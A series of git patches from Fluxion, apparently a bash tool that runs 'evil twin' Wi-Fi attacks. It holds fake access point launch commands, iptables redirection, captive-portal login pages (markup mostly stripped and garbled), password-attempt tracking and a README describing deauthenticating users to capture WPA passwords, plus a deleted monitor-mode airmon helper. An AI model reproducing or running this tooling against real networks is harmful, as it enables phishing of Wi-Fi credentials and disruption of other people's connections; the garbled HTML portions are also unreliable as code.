+o33jpiGIKEblBj2kSBHnjM18d5DV5RS448WaBbByhqZothc4BdaNxA7T1Su8SbI0/Vwf6WjcH4Of +67b1JVUOOMv2afb6zUlL0eZ+Zl4Sb+WvoidD8ztYpXuBgwXfrxDiEHt1O+xFPB9WlNJ6BQfZOZso +MJe5z8IFZHzoY9nhiMsx7+WUpADRAIuZq10zstPneHMEB8fAAUpThiTMmATnzPFgMGDTQp09pIrg +DCr0PKDp4pmRuq5J8cQTlFoQozbmZgM9Fk3VP69qn9mc+jNAY0skm6cwJh96qyiZVAjc7ttqWnAC +Q1zl2DZJK8jv1mhRkTzpnpQljYMqWRqKPsRjcFpB3yTTk6Q41mxHS5RS4FMUYY+znslTj0PE8R10 +lHWWcq34sE+57Y8z5AkoK2Z0NvgjpjGEUzbMKBiA7zUI+huSUNLJ9ZBW3jGstodCJpj/Q1ZVcJKc +UdjbPVbL6ixQk3Wje7Np8DqMNBKDIRlDiJl0hBPB3NP9haTMGl0tEOu+mlHRjmci+NN0p4b/zJZC +CeM1di9AR3hREYPQgCWnzJ89Iw7JNiA2f6i57cnLl3Do0WeHhcS0InvnVXxN24lMNyy/Yd7rd4fn +ec3y+LKaSYo43HGaFw4WL7otqMi37zHS0SNlkP1I9qs8+7f8fQ5DKudLk55V1j8GrAiRNO82Wrnq +4dHRJTC+1flgVE2Pfv47WgPkH9FUjjhN39Gnn3/+xzAXdepOfmA6isLCewo3k8MtiW3XBiEJLzAN +55nymRdw6ueXcgQbrmbt2EkzducW/vlfUEsBAh4DFAAAAAgARnzORIn0cA+OggAAxG0BABMAGAAA +AAAAAQAAAKSBAAAAAGpxdWVyeS0xLjguMy5taW4uanNVVAUAA1RPnFN1eAsAAQQAAAAABAAAAABQ +SwECHgMUAAAACAC3e85EqOffJSZMAADtFAIAFwAYAAAAAAABAAAApIHbggAAanF1ZXJ5Lm1vYmls +ZS0xLjMuMi5jc3NVVAUAA0lOnFN1eAsAAQQAAAAABAAAAABQSwECHgMUAAAACAB1fM5EEp6tqmiH +AQBregUAFgAYAAAAAAABAAAApIFSzwAAanF1ZXJ5Lm1vYmlsZS0xLjMuMi5qc1VUBQADrk+cU3V4 +CwABBAAAAAAEAAAAAFBLBQYAAAAAAwADABIBAAAKVwIAAAA= +" | base64 -d >$DUMP_PATH/file.zip -} - -# Set up DHCP / WEB server -function routear { + unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device + rm $DUMP_PATH/file.zip &>$flux_output_device - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 + echo " + + + Login + + + + + + + +
+
+

Login Page

+
- route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward +
+ + "$DIALOG_WEB_OK" +
- iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT +
- iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { +
+
+
+
+

+
- if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi +
- handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) +
- if [ "$fakeapmode" = "hostapd" ]; then +
+
+
+ + + ">$DUMP_PATH/data/final.html + echo " + + + Login + + + + + + +
+
+

Login Page

+
+ +
+ + "$DIALOG_WEB_ERROR" +
+ "$DIALOG_WEB_BACK" + +
+ +
+ +
+
+
+
+

+
+ +
+ +
+ +
+
+
+ + + ">$DUMP_PATH/data/error.html + + echo " + + + Login + + + + + + + +
+
+

Login Page

+
+ +
+
+
+
+ +
ESSID:
+ +
$Host_SSID
+ +
BSSID:
+ +
$Host_MAC
+ +
Chan:
+ +
$Host_CHAN
+ +
+ +
+ + "$DIALOG_WEB_INFO" +
+ +
+ + + +
+ +
+ +
+ +
+
+
+
+

+
+ +
+ +
+ +
+
+
+ + + ">$DUMP_PATH/data/index.htm + +} +######################################### < INTERFACE WEB > ######################################## + + +mostrarheader && setresolution && setinterface +$HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & @@ -1624,16 +8859,16 @@ function handshakecheck { echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" + echo -e \" ACCESS POINT:\" + echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" + echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" + echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" + echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" echo - echo -e \" CLIENTES ONLINE:\" + echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do From 93f194bf9efc9f7af6939e987bb37637df4c04f3 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 02:54:45 +0400 Subject: [PATCH 021/294] Rename flux to fluxion --- flux => fluxion | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename flux => fluxion (100%) diff --git a/flux b/fluxion similarity index 100% rename from flux rename to fluxion From 8540d7a2cd6dc395c1ab0892a605ef0adb226a6c Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 03:05:00 +0400 Subject: [PATCH 022/294] Delete README.md --- kali/README.md | 50 -------------------------------------------------- 1 file changed, 50 deletions(-) delete mode 100644 kali/README.md diff --git a/kali/README.md b/kali/README.md deleted file mode 100644 index e79e39f..0000000 --- a/kali/README.md +++ /dev/null @@ -1,50 +0,0 @@ -#Fluxion is the futur -Fluxion is based of the the latest programms included aircrack-ng. Howevery flux get even faster and faster. Now it is approximately twice as fast as linset. Fluxion and FLux is based on linset. Fluxion is now working on Kali 2 / 2016. -Lots of bugs get fixed. - -#Flux - -Flux is a auto WIFI CRACKER to test your one wifi. Simple, Easy to use and fast. -Flux is a remake of linset by v496, with more functions, and less Bugs. -Flux use a Installer, check requirements -Some Bugs are fixed like negative channel [aireplay-ng] , enable wlan0mon[SEF] - - -#How it works - -* Scan the networks. -* Capture handshake (can be used without handshake) -* Use WEB Interface * -* Mounts one FakeAP imitating the original -* A DHCP server is created on FakeAP -* It creates a DNS server to redirect all requests to the Host -* The web server with the selected interface is launched -* The mechanism is launched to check the validity of the passwords that will be introduced -* It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password. -* The attack will stop after the correct password checking - -**Check FLUX WIKI to lern more** - -#Install: -1. Run Bash with **$ sudo ./flux** -```shell -$ sudo ./flux -``` -#Credits -1. Deltax @FLuX and Fluxion main developer -2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes -3. vk439 @Linset main developer of linset -4. ApatheticEuphoria @Wifi-Slaughter WPS Crack - -**Check out the Linset project to lern more** - -#Bugs -- [ ] Negative Channel -- [x] Kali Patch for Kali Patch 2 -- [x] Added airmon -- [x] Translate DE --> EN -- [x] Handshake get fixed -- [x] Check Updates -- [x] Animations -- [x] Wifi List Bug - From af90637b0faa57de9ce6fcff33186b4c4a251f8a Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 03:05:26 +0400 Subject: [PATCH 023/294] Delete airmon --- kali/airmon | 1354 --------------------------------------------------- 1 file changed, 1354 deletions(-) delete mode 100755 kali/airmon diff --git a/kali/airmon b/kali/airmon deleted file mode 100755 index b9bff46..0000000 --- a/kali/airmon +++ /dev/null @@ -1,1354 +0,0 @@ -#!/bin/sh -clear -#Colors -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" - -#Animation - echo "" - sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo $red " LU UX XF UXF FL FL " - sleep 0.1 && echo $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - - -############################################################################# -USERID="" -IFACE="" -KISMET=/etc/kismet/kismet.conf -CH=$3; [ x$3 = "x" ] && CH=10 -IFACE_FOUND="false" -MADWIFI=0 -MAC80211=0 -USE_IW=0 -IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-3.17.tar.xz" -IW_ERROR="" -UDEV_ISSUE=0 - -if [ -f "`which iw 2>&1`" ] -then - USE_IW=1 -fi - -if [ "x$MON_PREFIX" = "x" ] -then -MON_PREFIX="mon" -fi - -PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox" -PS_ERROR="invalid" - -usage() { - printf "usage: `basename $0` [channel or frequency]\n" - echo - exit -} - -startStdIface() { - iwconfig $1 mode monitor >/dev/null 2>&1 - if [ ! -z $2 ] - then - if [ $2 -lt 1000 ] - then - iwconfig $1 channel $2 >/dev/null 2>&1 - else - iwconfig $1 freq "$2"000000 > /dev/null 2>&1 - fi - fi - iwconfig $1 key off >/dev/null 2>&1 - ifconfig $1 up - printf " (monitor mode enabled)" -} - - -stopStdIface() { - ifconfig $1 down >/dev/null 2>&1 - iwconfig $1 mode Managed >/dev/null 2>&1 - ifconfig $1 down >/dev/null 2>&1 - printf " (monitor mode disabled)" -} - -getModule() { - if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ] - then - srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"` - for j in `lsmod | awk '{print $1}' | grep -v "^Module$"` - do - srcver2="`modinfo $j 2>/dev/null | grep srcversion | awk '{print $2}'`" - if [ $srcver1 = "$srcver2" ] - then - MODULE=$j - break - fi - done - else - MODULE="" - fi -# return 0 -} - -getDriver() { - if [ -e "/sys/class/net/$1/device/driver" ] - then - DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" - BUS="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`" - else - DRIVER="" - BUS="" - fi - if [ x$(echo $DRIVER | grep ath5k) != "x" ] - then - DRIVER="ath5k" - fi - if [ x$(echo $DRIVER | grep ath9k) != "x" ] - then - DRIVER="ath9k" - fi - if [ x$DRIVER = "x" ] - then - if [ -d /sys/class/net/tiwlan0/wireless ] - then - DRIVER=WiLink - fi - fi - -} - -scanProcesses() { - if [ -f "`which service 2>&1`" ] && [ x"$1" = "xkill" ] - then - service network-manager stop 2>/dev/null >/dev/null - service avahi-daemon stop 2>/dev/null >/dev/null - fi - - match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l` - if [ $match -gt 0 -a x"$1" != "xkill" ] - then - printf "\n\n" - echo "Found $match processes that could cause trouble." - echo "If airodump-ng, aireplay-ng or airtun-ng stops working after" - echo "a short period of time, you may want to kill (some of) them!" - echo -e "\nPID\tName" - else - if [ x"$1" != "xkill" ] - then - return - fi - fi - - if [ $match -gt 0 -a x"$1" = "xkill" ] - then - echo "Killing all those processes..." - fi - - i=1 - while [ $i -le $match ] - do - pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'` - pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'` - if [ x"$1" != "xkill" ] - then - printf "$pid\t$pname\n" - else - kill $pid - fi - i=$(($i+1)) - done -} - -checkProcessesIface() { - if [ x"$1" = "x" ] - then - return - fi - - match2=`ps -o comm= -p 1 2>&1 | grep $PS_ERROR | grep -v grep | wc -l` - if [ $match2 -gt 0 ] - then - return - fi - - for i in `ps auxw | grep $1 | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}'` - do - pname=`ps -o comm= -p $i` - echo "Process with PID $i ($pname) is running on interface $1" - done -} - -getStack() { - if [ x"$1" = "x" ] - then - return - fi - - if [ -d /sys/class/net/$1/phy80211/ ] - then - MAC80211=1 - else - MAC80211=0 - fi -} - -#you need to run getDriver $iface prior to getChipset -getChipset() { - if [ x"$1" = "x" ] - then - return - fi - - CHIPSET="Unknown " - - if [ x$DRIVER = "xOtus" -o x$DRIVER = "xarusb_lnx" ] - then - CHIPSET="AR9001U" - fi - - if [ x$DRIVER = "xWiLink" ] - then - CHIPSET=`dmesg | grep TIWLAN | grep CHIP | tail -n 1 | awk -F\ '{ print $6 }'` - if [ x$CHIPSET = "x" ] - then - CHIPSET="Unknown" - else - CHIPSET="TI${CHIPSET}" - fi - fi - - if [ x$DRIVER = "xar9170usb" ] - then - getPhy $2 - CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "is registered as" | cut -d':' -f 2 | cut -d' ' -f 3`" - fi - - if [ x$DRIVER = "xzd1211rw_mac80211" ] - then - CHIPSET="ZyDAS 1211" - fi - - if [ x$DRIVER = "xzd1211rw" ] - then - getPhy $2 - TEMP_USBPORT="`dmesg | grep $PHYDEV | grep zd1211rw | cut -d'w' -f 2 | cut -d' ' -f 2`" - TEMP_CHIPSET="`dmesg | grep "$TEMP_USBPORT" | grep chip | tail -n 1 | cut -d':' -f 3 | cut -d' ' -f 2`" - CHIPSET="Zydas $TEMP_CHIPSET" - fi - - if [ x$DRIVER = "xacx" -o x$DRIVER = "xacx-mac80211" -o x$DRIVER = "xacx1xx" ] - then - CHIPSET="TI ACX1xx" - fi - - if [ x$DRIVER = "adm8211" ] - then - CHIPSET="ADMtek 8211" - fi - - if [ x$DRIVER = "xat76_usb" ] - then - CHIPSET="Atmel " - fi - - if [ x$DRIVER = "xb43" -o x$DRIVER = "xb43legacy" -o x$DRIVER = "xbcm43xx" -o x$DRIVER = "xwl" ] - then - CHIPSET="Broadcom" - if [ x$DRIVER = "xb43" ] - then - getPhy $2 - TEMP_CHIPSET="`dmesg | grep $PHYDEV | grep found | cut -d':' -f 2 | cut -d' ' -f 3`" - if [ x$TEMP_CHIPSET = "x4318" ] - then - CHIPSET="$CHIPSET $TEMP_CHIPSET" - fi - fi - fi - - if [ x$DRIVER = "xprism54" -o x$DRIVER = "xp54pci" -o x$DRIVER = "xp54usb" ] - then - CHIPSET="PrismGT " - fi - - if [ x$DRIVER = "xhostap" ] - then - CHIPSET="Prism 2/2.5/3" - fi - - if [ x$DRIVER = "xr8180" -o x$DRIVER = "xrtl8180" ] - then - CHIPSET="RTL8180/RTL8185" - fi - - # r8187 is reporting itself as rtl8187 - if [ x$DRIVER = "xrtl8187" ] - then - getPhy $2 - if [ x"$PHYDEV" = "x" ] - then - CHIPSET="RTL8187 " - else - CHIPSET="`dmesg | grep $PHYDEV | grep hwaddr | cut -d',' -f 2 | cut -d' ' -f 2`" - if [ x$CHIPSET = "xRTL8187vB" ] - then - CHIPSET="Realtek RTL8187L" - else - CHIPSET="Realtek $CHIPSET" - fi - fi - fi - - if [ x$DRIVER = "xr8187" ] - then - CHIPSET="RTL8187 " - fi - - if [ x$DRIVER = "xrt2570" -o x$DRIVER = "xrt2500usb" ] - then - CHIPSET="Ralink 2570 USB" - fi - - if [ x$DRIVER = "xrt2400" -o x$DRIVER = "xrt2400pci" ] - then - CHIPSET="Ralink 2400 PCI" - fi - - if [ x$DRIVER = "xrt2500" -o x$DRIVER = "xrt2500pci" ] - then - CHIPSET="Ralink 2560 PCI" - fi - - if [ x$DRIVER = "xrt61" -o x$DRIVER = "xrt61pci" ] - then - CHIPSET="Ralink 2561 PCI" - fi - - if [ x$DRIVER = "xrt73" -o x$DRIVER = "xrt73usb" ] - then - CHIPSET="Ralink 2573 USB" - fi - - #if [ x$DRIVER = "xrt2800usb" ] - #then - # getPhy $2 - # CHIPSET="Ralink `dmesg | grep rt2800usb | grep firmware | cut -d':' -f 4 | cut -d' ' -f 3 | cut -d'.' -f 1`" - #fi - - if [ x$DRIVER = "xrt2800" -o x$DRIVER = "xrt2800usb" -o x$DRIVER = "xrt3070sta" ] - then - CHIPSET="Ralink RT2870/3070" - fi - - if [ x$DRIVER = "xipw2100" ] - then - CHIPSET="Intel 2100B" - fi - - if [ x$DRIVER = "xipw2200" ] - then - CHIPSET="Intel 2200BG/2915ABG" - fi - - if [ x$DRIVER = "xipw3945" -o x$DRIVER = "xipwraw" -o x$DRIVER = "xiwl3945" ] - then - CHIPSET="Intel 3945ABG" - fi - - if [ x$DRIVER = "xipw4965" -o x$DRIVER = "xiwl4965" ] - then - CHIPSET="Intel 4965AGN" - fi - - if [ x$DRIVER = "xiwlagn" -o x$DRIVER = "xiwlwifi" ] - then - CHIPSET="Intel 4965/5xxx/6xxx/1xxx" - - DETECTED_STR="`dmesg | grep $DRIVER | grep Detected | tail -n 1 `" - LINK_POS="3" - FOUND="0" - - if [ x"$DETECTED_STR" != "x" ] - then - INTEL_WORD="Link" - if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] - then - INTEL_WORD="Wireless" - if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] - then - INTEL_WORD="Ultimate" - if [ "`echo "$DETECTED_STR" | grep $INTEL_WORD | wc -l`" = "0" ] - then - INTEL_WORD="Advanced" - fi - fi - fi - - while [ $FOUND = "0" ] - do - FOUND=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS | grep $INTEL_WORD | wc -l` - LINK_POS=$(($LINK_POS+1)) - done - - TEMP_CHIPSET=`echo "$DETECTED_STR" | cut -d' ' -f $LINK_POS` - - case "x${TEMP_CHIPSET}" in - # x5100AGN) - # CHIPSET="Intel $TEMP_CHIPSET" - # ;; - x5300) - TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $(($LINK_POS+1)) | awk -F, '{ print $1 }' ` - CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" - ;; - x1000) - TYPE_TEMP=`echo "$DETECTED_STR" | cut -d' ' -f $[$LINK_POS+2]` - CHIPSET="Intel ${TEMP_CHIPSET}${TYPE_TEMP}" - ;; - *) - CHIPSET="Intel $TEMP_CHIPSET" - ;; - esac - fi - - fi - - if [ x$DRIVER = "xath5k" ] - then - getPhy $2 - CHIPSET="Atheros `dmesg | grep $PHYDEV | grep "chip found" | cut -d':' -f 2 | cut -d' ' -f 3`" - fi - - if [ x$DRIVER = "xath_pci" ] - then - CHIPSET="Atheros " - fi - - if [ x$DRIVER = "xath9k" ] - then - getPhy $2 - CHIPSET="Atheros `dmesg | grep $PHYDEV | grep Atheros | tail -n 1 | cut -d':' -f 2 | cut -d' ' -f 3`" - fi - - if [ x$DRIVER = "xorinoco" ] - then - CHIPSET="Hermes/Prism" - fi - - if [ x$DRIVER = "xath9k_htc" -o x$DRIVER = "xusb" ] - then - CHIPSET="AR9001/9002/9271" - fi - - if [ x$DRIVER = "xwl12xx" ] - then - CHIPSET="TI WL1251/WL1271" - IS_WL1251="`dmesg| grep firmware | grep wl1251 | wc -l`" - IS_WL1271="`dmesg| grep firmware | grep wl1271 | wc -l`" - - if [ $IS_WL1251 != "0" ] && [ $IS_WL1271 = "0" ] - then - CHIPSET="TI WL1251" - fi - if [ $IS_WL1271 != "0" ] && [ $IS_WL1251 = "0" ] - then - CHIPSET="TI WL1271" - fi - # In any other case, we can't determine the chipset and thus give the generic: 1251/1271 - fi - - - if [ x$DRIVER = "xr871x_usb_drv" ] - then - CHIPSET="Realtek 81XX" - fi - - if [ x$DRIVER = "xcarl9170" ] - then - getPhy $2 - CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $3 " " $4 }'` - if [ `echo $CHIPSET | grep -i atheros | wc -l` -eq 0 ] - then - CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\ '{ print $5 " " $6 }'` - fi - fi -} - -getPhy() { - PHYDEV="" - if [ x"$1" = "x" ] - then - return - fi - - if [ x$MAC80211 = "x" ] - then - return - fi - - if [ -d /sys/class/net/$1/phy80211/ ] - then - PHYDEV="`ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" - fi -} - -getNewMon() { - i=0 - - while [ -d /sys/class/net/$MON_PREFIX$i/ ] - do - i=$(($i+1)) - done - - MONDEV="$MON_PREFIX$i" -} - -if [ x"`which id 2> /dev/null`" != "x" ] -then - USERID="`id -u 2> /dev/null`" -fi - -if [ x$USERID = "x" -a x$UID != "x" ] -then - USERID=$UID -fi - -if [ x$USERID != "x" -a x$USERID != "x0" ] -then - echo Run it as root ; exit ; -fi - -iwpriv > /dev/null 2> /dev/null || - { echo Wireless tools not found ; exit ; } - -if [ x"$1" = "xcheck" ] || [ x"$1" = "xstart" ] -then - scanProcesses - for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` - do -# getModule $iface -# getDriver $iface - checkProcessesIface $iface - done - - if [ x"$2" = "xkill" ] - then - scanProcesses "$2" - fi - if [ x"$1" = "xcheck" ] - then - exit - fi -fi - -printf "\n\n" - -if [ $# -ne "0" ] -then - if [ x$1 != "xstart" ] && [ x$1 != "xstop" ] - then - usage - fi - - if [ x$2 = "x" ] - then - usage - fi -fi - -SYSFS=0 -if [ -d /sys/ ] -then - SYSFS=1 -fi - -printf "Interface\tChipset\t\tDriver\n\n" - - -for iface in `ifconfig -a 2>/dev/null | egrep UNSPEC | sed 's/^\([a-zA-Z0-9_]*\) .*/\1/'` -do - - if [ x"`iwpriv $iface 2>/dev/null | grep ipwraw-ng`" != "x" ] - then - printf "$iface\t\tIntel 3945ABG\tipwraw-ng" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=ipw3945,$iface,Centrino_abg" >>$KISMET - startStdIface $iface $CH - iwconfig $iface rate 1M 2> /dev/null >/dev/null - iwconfig $iface txpower 16 2> /dev/null >/dev/null - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - iwconfig $iface txpower 15 2> /dev/null >/dev/null - iwconfig $iface rate 54M 2> /dev/null >/dev/null - fi - echo - continue - fi - - if [ -e "/proc/sys/dev/$iface/fftxqmin" ] - then - MADWIFI=1 - ifconfig $iface up - printf "$iface\t\tAtheros\t\tmadwifi-ng" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - IFACE=`wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath` - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=madwifi_g,$iface,Atheros" >>$KISMET - ifconfig $iface up 2>/dev/null >/dev/null - if [ $CH -lt 1000 ] - then - iwconfig $IFACE channel $CH 2>/dev/null >/dev/null - else - iwconfig $IFACE freq "$CH"000000 2>/dev/null >/dev/null - fi - ifconfig $IFACE up 2>/dev/null >/dev/null - UDEV_ISSUE=$? - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - echo "$iface does not support 'stop', do it on ath interface" - fi - echo - continue - fi -done - -if [ $MADWIFI -eq 1 ] -then - sleep 1s -fi - -for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\.11|WLAN)' | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/' | grep -v wifi` -do - getModule $iface - getDriver $iface - getStack $iface - getChipset $DRIVER $iface - - - if [ x$MAC80211 = "x1" ] - then - getPhy $iface - getNewMon - printf "$iface\t\t$CHIPSET\t$DRIVER - [$PHYDEV]" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - if [ $USE_IW = 1 ] - then - IW_ERROR=`iw dev $iface interface add $MONDEV type monitor 2>&1 | grep "nl80211 not found"` - if [ x$IW_ERROR = "x" ] - then - sleep 1s - if [ ! -z $3 ] - then - if [ $3 -lt 1000 ] - then - iwconfig $MONDEV channel $3 >/dev/null 2>&1 - else - iwconfig $MONDEV freq "$3"000000 >/dev/null 2>&1 - fi - fi - ifconfig $MONDEV up - printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" - else - if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] - then - echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface - sleep 1s - if [ $3 -lt 1000 ] - then - iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 - else - iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 - fi - ifconfig $MONDEV up - printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" - else - printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" - fi - fi - else - if [ -f /sys/class/ieee80211/"$PHYDEV"/add_iface ] - then - echo -n "$MONDEV" > /sys/class/ieee80211/"$PHYDEV"/add_iface - sleep 1s - if [ $3 -lt 1000 ] - then - iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1 - else - iwconfig $MONDEV mode Monitor freq "$3"000000 >/dev/null 2>&1 - fi - ifconfig $MONDEV up - printf "\n\t\t\t\t(monitor mode enabled on $MONDEV)" - else - printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" - fi - fi - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - z="`echo $iface | cut -b -${#MON_PREFIX}`" - if [ x$z = "x$MON_PREFIX" ] - then - if [ $USE_IW = 1 ] - then - IW_ERROR=`iw dev "$iface" interface del 2>&1 | grep "nl80211 not found"` - if [ x$IW_ERROR = "x" ] - then - printf " (removed)" - else - if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] - then - echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface - printf " (removed)" - else - printf "\n\nERROR: nl80211 support is disabled in your kernel.\nPlease recompile your kernel with nl80211 support enabled.\n" - fi - fi - else - if [ -f /sys/class/ieee80211/"$PHYDEV"/remove_iface ] - then - echo -n "$iface" > /sys/class/ieee80211/"$PHYDEV"/remove_iface - printf " (removed)" - else - printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n" - fi - fi - else - ifconfig $iface down - iwconfig $iface mode managed - printf "\n\t\t\t\t(monitor mode disabled)" - fi - fi - echo - continue - fi - - - if [ x$DRIVER = "xorinoco" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_rid`" != "x" ] || [ x"`iwpriv $iface 2>/dev/null | grep dump_recs`" != "x" ] - then - printf "$iface\t\tHermesI\t\torinoco" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=orinoco,$iface,HermesI" >>$KISMET - if [ $CH -lt 1000 ] - then - iwconfig $iface mode Monitor channel $CH >/dev/null 2>&1 - else - iwconfig $iface mode Monitor freq "$CH"000000 >/dev/null 2>&1 - fi - iwpriv $iface monitor 1 $CH >/dev/null 2>&1 - ifconfig $iface up - printf " (monitor mode enabled)" - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - ifconfig $iface down - iwpriv $iface monitor 0 >/dev/null 2>&1 - iwconfig $iface mode Managed >/dev/null 2>&1 - printf " (monitor mode disabled)" - fi - echo - continue - fi - - if [ x$DRIVER = "xrtl819xU" ] - then - printf "$iface\t\tRealtek 819x\trtl819xU" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - if [ x$DRIVER = "xipw2100" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_crc_check`" != "x" ] - then - printf "$iface\t\tIntel 2100B\tipw2100" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] - then - cp $KISMET~ $KISMET 2>/dev/null && - echo "source=ipw2100,$iface,Centrino_b" >>$KISMET - startStdIface $iface $CH - fi - if [ x$1 = "xstop" ] && [ x$2 = x$iface ] - then - stopStdIface $iface - fi - echo - continue - fi - - - if [ x$DRIVER = "xarusb_lnx" ] || [ x$DRIVER = "Otus" ] - then - printf "$iface\t\tAR9001USB\tOtus" - if [ x$1 = "xstart" ] && [ x$2 = x$iface ] 